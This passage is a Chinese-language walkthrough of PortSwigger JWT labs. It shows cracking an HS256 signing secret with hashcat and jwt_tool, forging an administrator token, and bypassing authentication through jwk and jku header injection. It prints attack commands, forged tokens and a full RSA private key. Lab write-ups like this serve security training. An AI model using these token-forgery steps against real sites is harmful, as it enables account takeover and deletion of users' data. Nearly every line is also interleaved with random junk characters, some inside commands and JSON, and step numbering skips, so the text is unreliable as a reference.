hashcat -m 16500 jwt.txt -a 0 secrets.txt --force 8 h( g+ a, u a( F# [" \2 x- r

! e( e/ P; S7 ^

( `7 K& B, l, ~" U1 R+ \$ Z

0 R0 a" d0 f6 k 方式二：jwt_tool
: L1 n( T& F# _4 d5 \; q项目地址：https://github.com/ticarpi/jwt_tool
) j( `3 P) a$ {; f: P1 t项目介绍：此项目主要用于JWT安全脆弱性评估，目前支持如下几种安全评估测试

D% }: ^+ k3 ^; B4 { l" S8 I

7 O) C, {5 J9 M1 I4 b
• (CVE-2015-2951) The alg=none signature-bypass vulnerability : ^1 r2 @) _7 x. k& Y$ s$ j
7 }% H; Z6 r% w. c% x* J4 }+ _- I2 t5 y
• (CVE-2016-10555) The RS/HS256 public key mismatch vulnerability
• # k4 e# I$ H! r8 m/ i; s5 d( Y- D (CVE-2018-0114) Key injection vulnerability
• , p* m* x+ s. p# ]$ U/ { (CVE-2019-20933/CVE-2020-28637) Blank password vulnerability - {: k' j1 f# ^) @& H! c* u! d# o, Q
& F4 V7 f3 f9 c" |
• (CVE-2020-28042) Null signature vulnerability

5 D- [ u- h* H( w5 ] ^

9 W; ~: v; Z! [; }3 ?) g x

Step 1：克隆项目到本地

- ] K: U, [' B. ?( E& _

& p6 E9 S$ C5 A2 t$ t https://github.com/ticarpi/jwt_tool

- F: T) `; v! Q: U5 v# X$ K) C( M Step 2：安装依赖库 ; U, M2 r7 S d& W8 F2 A

" S) B1 Z# H& X+ L4 l

5 [( |! E# x# {4 N* U pip3 install pycryptodomex 8 S }! y7 y2 |& Q+ z

. g& ?5 I$ b9 a$ o- Z' N, E! B8 X

# e# N, ]7 S; I+ c

Step 3：运行jwt_tool并查看用法信息 1 ?- C+ L, K' n6 | J* ?6 P

1 ^& | j U+ m* T( W5 r

, C0 v( G4 s0 p, f6 H4 t python3 jwt_tool.py -h / t( L: B& X/ P, d/ ?( {

; x7 ~0 T; C4 ?

: G: A1 i2 H6 E: U: n; |

usage: jwt_tool.py [-h] [-b] [-t TARGETURL] [-rc COOKIES] [-rh HEADERS] [-pd POSTDATA] [-cv CANARYVALUE] [-np] [-nr] [-M MODE] [-X EXPLOIT] [-ju JWKSURL] [-S SIGN] [-pr PRIVKEY] [-T] [-I] [-hc HEADERCLAIM] [-pc PAYLOADCLAIM] [-hv HEADERVALUE]
                   [-pv PAYLOADVALUE] [-C] [-d DICT] [-p PASSWORD] [-kf KEYFILE] [-V] [-pk PUBKEY] [-jw JWKSFILE] [-Q QUERY] [-v]
: x3 T6 m; [4 w0 R' o! D$ l                   [jwt]
4 `- {9 e) O, G
positional arguments:
  jwt                   the JWT to tinker with (no need to specify if in header/cookies)
* n6 l; ]% W, Q; X3 ^1 _- w
3 z7 \/ v9 V5 h E' Poptions:
  -h, --help            show this help message and exit
  -b, --bare            return TOKENS ONLY
  -t TARGETURL, --targeturl TARGETURL
& Q" @7 n; D. I" ~$ v                        URL to send HTTP request to with new JWT
  -rc COOKIES, --cookies COOKIES
                        request cookies to send with the forged HTTP request
- `2 A( R9 [' x: ]8 M% S; u  -rh HEADERS, --headers HEADERS
                        request headers to send with the forged HTTP request (can be used multiple times for additional headers)
  -pd POSTDATA, --postdata POSTDATA
' g* O# R! A6 ^& X& m) {. f2 t                        text string that contains all the data to be sent in a POST request
6 r$ z: m4 L4 {: e' E, s  -cv CANARYVALUE, --canaryvalue CANARYVALUE
                        text string that appears in response for valid token (e.g. "Welcome, ticarpi")
4 R% ?$ J7 B2 Q4 M  -np, --noproxy        disable proxy for current request (change in jwtconf.ini if permanent)
$ x# ]7 Q0 t* |" `% \) ]: _  -nr, --noredir        disable redirects for current request (change in jwtconf.ini if permanent)
& ^" d C8 v2 t O" H) k6 Z  -M MODE, --mode MODE  Scanning mode:
                        pb = playbook audit
. C, _6 `$ z3 S                        er = fuzz existing claims to force errors
# {$ w/ f/ r9 ?0 X& f                        cc = fuzz common claims
6 p1 ~$ }4 `+ z3 S" H                        at - All Tests!
  -X EXPLOIT, --exploit EXPLOIT
0 D( Q; H# K- ^- V! ~; [                        eXploit known vulnerabilities:
                        a = alg:none
                        n = null signature
2 l/ ]( ^' p: j& p' U                        b = blank password accepted in signature
! v1 e# J: u2 d2 d x- T                        s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
3 N2 S8 _* h- J+ [                        k = key confusion (specify public key with -pk)
                        i = inject inline JWKS
  -ju JWKSURL, --jwksurl JWKSURL
& R4 M: M. h& A7 ~ ~                        URL location where you can host a spoofed JWKS
  -S SIGN, --sign SIGN  sign the resulting token:
! q- r. l- g2 ]& |3 {& m                        hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
                        rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
, A; J g. M Z* }6 A                        es256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)
                        ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
  -pr PRIVKEY, --privkey PRIVKEY
2 l' N V) ~" T& a. n) ?# j                        Private Key for Asymmetric crypto
  -T, --tamper          tamper with the JWT contents
A1 e# q8 c+ b; D                        (set signing options with -S or use exploits with -X)
3 g& J& Q: l* Z! \* W  -I, --injectclaims    inject new claims and update existing claims with new values
                        (set signing options with -S or use exploits with -X)
                        (set target claim with -hc/-pc and injection values/lists with -hv/-pv
' K' W- d- ~* r, g3 R  -hc HEADERCLAIM, --headerclaim HEADERCLAIM
; V+ n1 `+ r" k5 F' U                        Header claim to tamper with
7 D) \6 ]6 j6 u3 G! w  -pc PAYLOADCLAIM, --payloadclaim PAYLOADCLAIM
                        Payload claim to tamper with
% K0 f1 D. q* u! c V( B9 C  -hv HEADERVALUE, --headervalue HEADERVALUE
                        Value (or file containing values) to inject into tampered header claim
; b* r1 Y/ m. x' g7 G/ }  -pv PAYLOADVALUE, --payloadvalue PAYLOADVALUE
# C# B2 x5 O3 \8 t                        Value (or file containing values) to inject into tampered payload claim
9 @$ k3 e' L/ z, X5 w& z  -C, --crack           crack key for an HMAC-SHA token
5 S2 X$ |' {% r; W: u                        (specify -d/-p/-kf)
1 g3 ]6 s2 ]$ z  -d DICT, --dict DICT  dictionary file for cracking
4 L% t& w; x# C5 a1 |  -p PASSWORD, --password PASSWORD
: o+ t' [8 J* r$ K                        password for cracking
  -kf KEYFILE, --keyfile KEYFILE
                        keyfile for cracking (when signed with 'kid' attacks)
  -V, --verify          verify the RSA signature against a Public Key
( o* D, r; o+ Y+ r& B1 G                        (specify -pk/-jw)
) v( c+ G( ~4 ^1 u+ K  -pk PUBKEY, --pubkey PUBKEY
' ?+ ^" s" E- ^( ^/ ?. Q, y( o- O                        Public Key for Asymmetric crypto
3 e; F# J! @$ C# e4 m  -jw JWKSFILE, --jwksfile JWKSFILE
                        JSON Web Key Store for Asymmetric crypto
  -Q QUERY, --query QUERY
& k" b& K. }& Z- T% p3 A, i+ P                        Query a token ID against the logfile to see the details of that request
                        e.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a
: q* Z2 D+ l. V& b9 K  -v, --verbose         When parsing and printing, produce (slightly more) verbose output.

If you don't have a token, try this one:
' _+ A% l) n1 f3 r- yeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po 8 c! o) U) r' I% K9 m. d ~8 u' y. F

3 _6 c" r8 o( H6 m r6 X$ Y. j

% ?7 A" b" H1 L& C$ J3 e. c

Step 4：暴力猜解密钥 % T5 [% p, j" |3 s2 w

8 t2 q6 D% i& u& m3 u3 O8 x

#命令格式
" j) A4 {9 }' _ Dpython3 jwt_tool.py JWT_HERE -C -d dictionary.txt

* t0 y1 |, m3 A [, X' G/ J#执行示例
$ E9 d% w% x$ W0 G. Npython3 jwt_tool.py eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw -C -d secrets.txt 2 Q& x1 E- s+ l1 f% s

# l- ^4 g" h: F ! S: s' n2 G1 Z2 A5 s

附加扩展： 9 g; ~# Y. R4 |" G0 D8 t

0 }& U) B' H5 O( k: o* _

#尝试破解密钥(HMAC算法)
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

#尝试使用已知的公钥对不对称密码(RS-，EC-，PS-)进行"密钥混淆"攻击
; q- ]$ `1 i! O) c* d& {8 apython3 jwt_tool.py JWT_HERE -K -pk my_public.pem

#尝试使用"无"算法来创建未验证的令牌
python3 jwt_tool.py JWT_HERE -A

#处理JSON Web密钥存储文件，重建公共密钥，然后测试密钥以查看验证令牌的密钥
python3 jwt_tool.py JWT_HERE -J -jw jwks.json
2 j: O" D6 P8 A5 Z. N9 F
#生成一个新的RSA密钥对，将公钥作为JSON Web密钥存储对象注入令牌并使用私钥对令牌签名
python3 jwt_tool.py JWT_HERE -I

! Z4 `8 U. c* v#欺骗远程JWKS：生成新的RSA密钥对，将提供的URL注入令牌，将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务)并使用私钥对令牌签名
python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json ! m w8 s5 E/ w

' s% @9 U4 {2 H; J6 Q* D

' \* ~: J I" | X. ^ Step 5：随后在网页端重新设置密钥(secret1)并重新产生的字符串
Header：

* ?# S- \3 B# C5 }/ ]+ N/ |; [

2 |4 X5 Q. x/ b' r6 I

. W4 I( l- k6 h$ b eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9
9 w# \' D9 K; L8 o/ F- P{"kid":"ccf8b97a-94fe-4c7d-9b61-276f0654c2eb","alg":"HS256"} 6 ~. l* r; d' f; \+ k' G

) M$ k1 ]* n8 O

8 n- Q0 w- J2 H) N' E4 T- I payload(前)：

6 k* w% w' Y8 ]0 ]8 |+ c eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0
{"iss":"portswigger","sub":"wiener","exp":1687799959}

* w0 V0 t6 _2 q* P

payload(新)：

1 C+ Q9 [# d0 [) u. v

# `/ e* @% m# E/ y0 o: p8 y7 S$ e, J

{"iss":"portswigger","sub":"administrator","exp":1687799959}
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9 ( x4 ]( A5 e9 P$ a2 O/ l5 t5 V. Z

" {) j9 c; e, `& ?. ~+ u- |( C

0 i1 w' \3 e' b9 F! C+ O- u ! f* S; a" y0 ^8 N, j! G/ p% c

) i5 s" m4 Q9 o$ f: e& W

Signer:

: ^' \; E# E0 ?7 h, p X' i

! P3 J+ w8 Y0 N1 g E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0 0 `( W% b' R( u

% A0 U; R! l/ G2 ~1 ?, y

2 \5 D. }$ i( ^' K1 q0 ^

最终高权限的JWT token如下： : Z) }* R# U9 |

4 w# @( n9 T. e0 \1 H3 c1 S

8 m5 N1 n; n" ]2 G eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9.E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0 - D- P/ Z, s7 O k

- R m' K7 u3 ]2 I9 E5 p

" p8 ^3 G7 k- r) v% w' H

Step 6：访问/admin路径 7 d, N* _& h+ D3 p7 n' Z# r

5 M+ L' b6 ]: `! m

/ u+ n$ i' I7 k H U; U- P

3 J* M2 ?# }: z2 m Step 7：调用接口删除用户完成解答 : F5 `0 F. W$ x

" T) X/ R$ U+ l6 Y. I( G

5 Q* ^, q8 Q6 z4 h

a8 s9 ?1 p+ p7 \3 m

1 @0 I; ^, v# J- b- r0 L6 m1 k" U

JWT头部注入 , P: s$ @5 p L% d

; Y% u& [: {. {; _ |

场景介绍 " H) I/ G- u% S' v: w6 Q4 T

如果服务器端使用一个非常脆弱的密钥，我们甚至有可能一个字符一个字符地来暴力破解这个密钥，根据JWS规范只有alg报头参数是强制的，然而在实践中JWT报头通常包含几个其他参数，以下是攻击者特别感兴趣的： * h6 r; ?1 \6 Q; y4 Y7 L' s" q

• jwk(JSON Web Key)：提供一个代表密钥的嵌入式JSON对象
/ ^& X+ K0 l# p" }8 u( E3 {" M3 x
• jku(JSON Web Key Set URL)：提供一个URL，服务器可以从这个URL获取一组包含正确密钥的密钥
2 M: c! a# x) L) V, K* X5 n2 E
• kid(密钥id)：提供一个ID，在有多个密钥可供选择的情况下服务器可以用它来识别正确的密钥，根据键的格式这可能有一个匹配的kid参数 - a9 r* |7 X3 A' U
- m7 g9 q% w2 b% b; U

这些用户可控制的参数每个都告诉接收方服务器在验证签名时应该使用哪个密钥，下面我们将介绍如何利用这些参数来注入使用您自己的任意密钥而不是服务器的密钥签名修改过的JWT 4 q6 `+ d" ?0 Z

注入场景1

! _& O3 R9 d1 O) g% p5 T

, m9 A1 H1 q. k# h4 t9 i+ o9 T1 ? 下面我们介绍如何通过JWK参数注入自签名的JWT，JWS(JSON Web Signature)规范描述了一个可选的jwk header参数，服务器可以使用该参数以jwk格式将其公钥直接嵌入令牌本身，您可以在下面的JWT head中看到具体的示例: : V, ]0 ?' G' b" k

% ]3 J3 C, W0 i7 s6 J( E

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
- |! E" S0 s! O    "alg": "RS256",
& l @( L8 E7 A* V    "jwk": {
        "kty": "RSA",
8 T* p) u, z8 E. a/ l! C! k/ D        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
8 R) \) M& Q$ X& b}

* d R9 [# {5 R, o: D( ~* S

6 `4 J- @: V; i5 h

. u- Z7 z$ y9 [' a; B$ ] 理想情况下服务器应该只使用有限的公钥白名单来验证JWT签名，然而错误配置的服务器有时会使用jwk参数中嵌入的键值，您可以通过使用自己的RSA私钥对修改后的JWT进行签名，然后在jwk头中嵌入匹配的公钥来利用这种行为，Burpsuite的JWT Editor扩展提供了一个有用的功能来帮助您测试此漏洞，您可以在Burp中手动添加或修改JWT参数
靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection

' ^7 W8 w+ c1 V' g+ j$ a

/ t. v3 @8 \9 j H; x% A* N; D+ \ Step 1：点击"ACCESS THE LAB"访问靶场 3 W0 ?, a' f7 }1 B$ B7 u$ A# e1 t

6 n) S- y- g. v3 W, E

! U; u6 M9 X& n- @8 g Step 3：点击"My Account"登录系统

wiener:peter

) y# N* d, `! ?* B9 H

: z8 a& o& @ f/ R t1 x) I

/ m+ ?" q) ?' H& N; A; j S7 H7 b$ i1 m: e& s

Step 4：登录之后可以看到如下邮箱更新界面 & K) u, D! ] i) ]* u

7 @, a/ j$ b& A0 g

Step 5：下面我们开始操作，不过在此之前我们得先武器化以下自己，在Burpsuite界面选择"Extender"选项卡，紧接着点击"BApp Store"安装"JWT Editor" ) R4 W2 M d1 k1 n2 |

- f( z4 X- V8 J% v ?+ z

之后你可以看到如下的选项卡界面

: ?3 t h$ z7 x( ?& e4 Z* Q5 H

. O" P0 A; N* a7 q6 c b Step 6：生成一个新的RSA密钥 * F2 [5 a' t6 h& F8 A3 i0 s7 x' E @% `

% @+ n, i& J& c5 M

" B$ b9 D5 R# k& e/ Z {
* o4 i6 v7 k; g* D    "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
8 C8 \! V" t8 }, M/ _! O0 C    "kty": "RSA",
    "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
    "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
# z9 N7 e( ?2 e    "e": "AQAB",
$ q2 h) e6 B0 y1 {    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
5 |$ K* S5 B; [5 N    "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
    "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
4 a* J( b" B6 R2 g8 F( j    "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
d2 n j( i! O# K: q    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
9 O/ b' F( B. X- ]- y}

6 m; [6 n. I' P! L

: @3 v, F; c! I+ K

1 l% w' L) W1 ~7 Z1 G+ M5 k/ B

9 X3 o9 c' d/ @9 H4 D' i* a

( F( M3 ~3 m- P2 V4 R: B Step 7：刷新页面拦截到请求并将请求发送到Repeat模块 * x4 b, W4 G) Z" m2 N" }5 L

! s# q/ d; X9 `

/ D# q- m! G* ]! K& v" Z7 H

6 j5 R# W. S8 e/ X0 r3 h' _ Step 8：在Repeat模块，我们切换到JSON Web Token选项卡，修改JWT的有效负载将sub内容修改为administrator

4 k6 T' B' N5 V9 ?

3 i& ]% H# j1 z# T Step 9：点击"Attack"，然后选择"Embedded JWK"，出现提示时选择您新生成的RSA密钥

$ J a: \" C8 Z

z1 g) H' `, {6 k1 N7 L! h# s

- b( Z7 }3 d6 e" Q. |5 U

) H+ D8 h2 R; a( l

# G* r* M' m+ B1 u9 @6 ]/ v Step 10：之后成功越权 & V0 q9 v- _: F$ V. S* m0 G

/ m- o) G: x3 q& ^" i * k# f6 Q1 Z# U# n

Step 11：调用敏感操作接口删除carlos用户完成解题

& I( W& e9 R7 U* R f: p

# Q2 N/ e9 X" G2 k) ^

$ _7 r6 J% X# w

3 I9 L& n# l* R4 F! C   ! v7 m0 s8 U |' ~9 Q: T7 H

. V( B. F0 I- @6 H+ S! d

, s6 V8 [+ Y6 N$ ?4 K8 l* b

) i1 d+ Z6 r& s+ x) o   % p$ v5 m* d' _) |

注入场景2

$ z! |* _/ l2 {$ J+ A

& e. U: @: e& s8 T g 有些服务器可以使用jku(jwk Set URL)头参数来引用包含密钥的JWK集，而不是直接使用JWK头参数来嵌入公钥，当验证签名时，服务器从这个URL获取相关的密钥，这里的JWK集其实是一个JSON对象，包含一个代表不同键的JWK数组，下面是一个简单的例子：

# D3 S4 ]" l+ M7 o; Z! m. j# T

{
+ ?( d/ |% U) ^% U    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
7 W& G; ]5 D3 W" |: m            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
0 ?8 n' |. ~) [! U: g0 @5 M        },
( Q: ^# D9 [; z6 U) Y" b3 {        {
* k1 m1 K1 Y; Z: G5 F$ c            "kty": "RSA",
            "e": "AQAB",
. J( k6 W7 ^2 ?% D, V P" v, U            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
9 ]) K. l( f$ b, a        }
    ]
! P% e) j" \' v7 ]7 f. [' Z} E r7 }- l+ f z( G* s% \

JWK集合有时会通过一个标准端点公开，比如:/.well-known/jwks.json，更安全的网站只会从受信任的域获取密钥，但有时您可以利用URL解析差异来绕过这种过滤，下面我们通过一个靶场来实践以下
) @: ^- h. z" r& w% V靶场地址：https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection

& q+ Q% [0 m, e

" g- `6 t; I3 n! z$ z1 J7 i 7 D5 ^& O/ g& W+ n) ]. D. X# C6 G/ O

' T, Y1 M% ?; o( r
Step 1：首先点击上方的"ACCESS THE LAB"选项卡进入实验环境 3 G* j& w) `" V% X" I9 u

9 W5 d) c' ` W# Q

* \$ p0 ]1 |8 g! A" B% U * J D0 }6 r( o6 z5 I; @% P! D

- X2 y7 c; k. c- T) U1 T7 C

Step 2：登录系统 ! D0 S4 x E- E! [- `

5 s% j/ _5 |! Y5 O6 Q7 h; r x+ e

wiener:peter 0 B; o& @3 c- \

3 a/ a3 d& g) ]8 e/ f Step 3：随后你会看到一个用户邮箱更新的表单 # E9 c% ]5 Z! q) x7 i6 B# R

2 E! R) b1 W, X

5 q6 K' Q* _7 k# s, I# @ 2 B. W6 H0 O4 X8 x" O. F! r

: t) C; C: C2 H/ Y1 x* g

+ ]2 G: y5 y x; c }3 ?6 R7 z Step 4：使用burpsuite生成一个新的RSA密钥

1 ]* V% W* B9 ~5 A' T# f H5 v7 ]

/ b+ e: A2 o1 Z8 {8 O3 G& H0 ~6 T {
    "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU",
    "kty": "RSA",
    "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8",
& d9 F2 H- L' L! S8 t) V    "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ",
    "e": "AQAB",
8 h2 }4 p0 g/ s! `1 d3 j- w    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
8 Y9 f; H. U# L4 w' F    "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks",
4 t' j* L4 e+ M+ J! a, ^    "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0",
    "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M",
    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
}

- N# s) D, f1 M G/ `

! G6 N8 I b8 J" Y Step 5：发送请求到repeat

- H, V9 Z5 L/ ^6 x9 f1 M+ ]( i

Step 6：复制公钥作为JWK # s6 [; [( h" E1 Z, v

: ^- w& a% p5 |, E& Z

, u! d; X" ?3 B3 M

L6 b# U$ C$ \7 B7 Q {
8 u# l$ O# `4 N* D2 D) @& N: B- C    "kty": "RSA",
    "e": "AQAB",
0 y) B8 C4 T4 s( ~) ]6 t' ]    "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
    "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
} {. J. Y0 O4 J9 S* X1 U% e: a

& ^# |- g) F' D h. z

+ F; N' g- v* R$ k+ {

+ f- T+ ^1 T& t" }4 G

Step 7：在题目中选择"Go eo exploit server"，然后加上key头并保存到exploit的body中

4 X: {1 _: k% _- P& N9 f. _

{
! g: U- [5 p' S   "keys": [
# g4 |# m) `6 l" E+ A! g' o/ _       {
' m8 }6 O+ t% \1 `           "kty": "RSA",
6 i# {' {+ L9 e1 {           "e": "AQAB",
- G6 w' [! l0 q1 M; w0 N. ]; Q           "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd",
           "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"
     }
5 J) `# E$ V, x# S: b7 K$ J! D! v8 o    ]
3 B S1 B4 [9 V! D* s1 r} ' c! t% q8 [# C# L1 S" Z

6 P# b/ [7 m9 }* n: D. t / |6 P" K5 h! i8 z E# {

5 ]4 Q+ z' J4 T; U

